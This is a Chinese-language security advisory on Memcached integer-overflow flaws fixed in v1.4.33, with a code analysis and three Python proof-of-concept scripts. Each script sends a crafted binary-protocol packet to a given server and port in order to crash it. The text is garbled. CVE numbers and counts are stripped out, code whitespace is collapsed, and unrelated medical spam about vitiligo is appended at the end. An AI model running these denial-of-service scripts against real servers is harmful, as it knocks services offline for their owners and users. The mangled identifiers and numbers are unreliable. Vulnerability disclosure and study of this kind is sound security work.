年10月31日Memcached官方网站修复多处漏洞,修复了远程代码执行漏洞和拒绝服务漏洞。攻击者可获取服务器权限或者导致Memcached停止服务。 Memcached是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载。它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提高动态、数据库驱动网站的速度。Memcached支持多种语言,如Perl、PHP、Python、Ruby、C#、C/C++、Lua等。其中国内很多大型企业都有使用。 虽然Memcached大多数部署在内网,但根据白帽汇的fofa系统统计显示,全球扔有个Memcached服务对外开放。其中美国占了。其次是中国。目前在fofa的系统中数据还在不断增加中。 漏洞原理与危害 Memcached存在多个整数溢出漏洞可以利用目标系统上实现远程代码执行。这些漏洞出现在插入、添加,将,或修改键值数据的Memcached函数时导致。在编译的Memcached的系统上启用了SASL验证也将可能受到第三方的缺陷影响导致存在漏洞。 攻击者可以通过向服务器发送一个精心构造的Memcached命令实现该漏洞的利用。此外,这些漏洞还可以泄露敏感的进程信息,并且可以多次触发,利用这些敏感的进程信息,攻击者可以绕过像ASLR等常见的漏洞缓解机制。 如果部署在内网,黑客也可以利用已经或得到的内网权限而进行进一步的利用。建议尽快修复。 漏洞影响 Memcachedv1.4.33以前版本 CVE编号 CVE---MemcachedAppend/Prepend远程代码执行漏洞 CVE---MemcachedUpdate远程代码执行漏洞 CVE---MemcachedSASL身份验证远程代码执行漏洞 影响范围 全球共有开放的Memcached服务受到影响,中国存在个。 下图是全球漏洞影响分布。 中国地区中,浙江省有,占了将近一半,北京地区存在个,广东个,上海个,河南个。中国地区的分布情况如下: 漏洞简要分析 Memcached有两个版本的协议来存储和检索任意数据,分为ASCII和Binary。Binary协议是经过优化的。 整型溢出漏洞通过添加或替换现有的键值对来触发。 的3个漏洞都是在使用Binary协议下存在,因do_item_alloc函数未对拷贝的数据进行长度检查导致漏洞。其代码如下: 我们可以看到以上代码使用nkey和nbytes来分配内存大小,key变量会拷贝到分配的内容中,然后这里我们看到,程序并没有对长度进行检查,当key的大小大于分配的nkey的空间时,造成整型溢出。恶意攻击者可以执行任意代码。 CVE-- 在执行Append(opcode0x0e),Prepend(opcode0x0f),AppendQ(0x19),PrependQ(opcode0x1a)命令时,会进入process_bin_append_prepend函数,在解析Binary包的时候会进入如下分支 在这里如果执行Appen,Prepend命令时,不会进行长度检查,之后进入process_bin_append_prepend函数。在该函数的处理中并没有对key和vlen进行检查,最后进入我们的漏洞函数触发漏洞。 CVE-- 在执行set(opcode0x01),Add(opcode0x02),Replace(opcode0x03),SetQ(opcode0x11),AddQ(opcode0x12)和RplaceQ(opcode0x13)会进入process_bin_update函数,在解析Binary包的时候会进入如下分支. 在接收set,replace,add操作的时候回经过bin_read_key函数检查。这里需要注意一下keylen分别和bodylen是int型和uint_32。 完成后就会进入process_bin_update函数中。 注意,在[1]和[2]nkey,len是int类型的,回想一下,bodylen是一个无符号整数。因为两者之间的差异可以引起负数,这里对我们有利,在第二种情况下,最后一个值的算术表达式被分配给一个赋值的变量。接着执行了我们的漏洞函数。 CVE-- 在使用SASL进行认证时,会进入process_bin_sasl_auth函数: 与CVE--的问题一样。 漏洞分析详情,请看最后的原文链接,查看英文原版。 漏洞POC 注:以下POC可导致拒绝服务,小心运行。同时勿用于非法用途。 CVE-- 将以下代码保存为poc_crash.py,然后运行Pythonpoc_crash.pyserverport(注:此脚本需要python环境,linux系统中自带python,windows系统下需要单独安装python) importstruct importsocket importsys MEMCACHED_REQUEST_MAGIC="\x80" OPCODE_PREPEND_Q="\x1a" key_len=struct.pack("!H",0xfa) extra_len="\x00" data_type="\x00" vbucket="\x00\x00" body_len=struct.pack("!I",0) opaque=struct.pack("!I",0) CAS=struct.pack("!Q",0) body="A"* iflen(sys.argv)!=3: print"./poc_crash.pyserverport" packet=MEMCACHED_REQUEST_MAGIC+OPCODE_PREPEND_Q+key_len+extra_len packet+=data_type+vbucket+body_len+opaque+CAS packet+=body set_packet="settestkey\r\ntest\r\n" get_packet="gettestkey\r\n" s1=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s1.connect((sys.argv[1],int(sys.argv[2]))) s1.sendall(set_packet) prints1.recv() s1.close() s2=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s2.connect((sys.argv[1],int(sys.argv[2]))) s2.sendall(packet) prints2.recv() s2.close() s3=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s3.connect((sys.argv[1],int(sys.argv[2]))) s3.sendall(get_packet) s3.recv() s3.close() 测试效果图如下: CVE-- 将以下代码保存为poc_add.py,然后运行Pythonpoc_add.pyserverport(注:此脚本需要python环境,linux系统中自带python,windows系统下需要单独安装python) importstruct importsocket importsys MEMCACHED_REQUEST_MAGIC="\x80" OPCODE_ADD="\x02" key_len=struct.pack("!H",0xfa) extra_len="\x08" data_type="\x00" vbucket="\x00\x00" body_len=struct.pack("!I",0xffffffd0) opaque=struct.pack("!I",0) CAS=struct.pack("!Q",0) extras_flags=0xdeadbeef extras_expiry=struct.pack("!I",0xe10) body="A"* packet=MEMCACHED_REQUEST_MAGIC+OPCODE_ADD+key_len+extra_len packet+=data_type+vbucket+body_len+opaque+CAS packet+=body iflen(sys.argv)!=3: print"./poc_add.pyserverport" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((sys.argv[1],int(sys.argv[2]))) s.sendall(packet) prints.recv() s.close() CVE-- 将以下代码保存为poc_sasl.py,然后运行Pythonpoc_sasl.pyserverport(注:此脚本需要python环境,linux系统中自带python,windows系统下需要单独安装python) importstruct importsocket importsys MEMCACHED_REQUEST_MAGIC="\x80" OPCODE_SET="\x21" key_len=struct.pack("!H",32) body_len=struct.pack("!I",1) packet=MEMCACHED_REQUEST_MAGIC+OPCODE_SET+key_len+body_len*2+"A"* iflen(sys.argv)!=3: print"./poc_sasl.pyserverip" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((sys.argv[1],int(sys.argv[2]))) s.sendall(packet) prints.recv() s.close() 修复建议 1.升级到最新版本:官方最新版本为v1.4.33 下载地址白癜风初期症状有哪些北京治白癜风的医院哪家好
|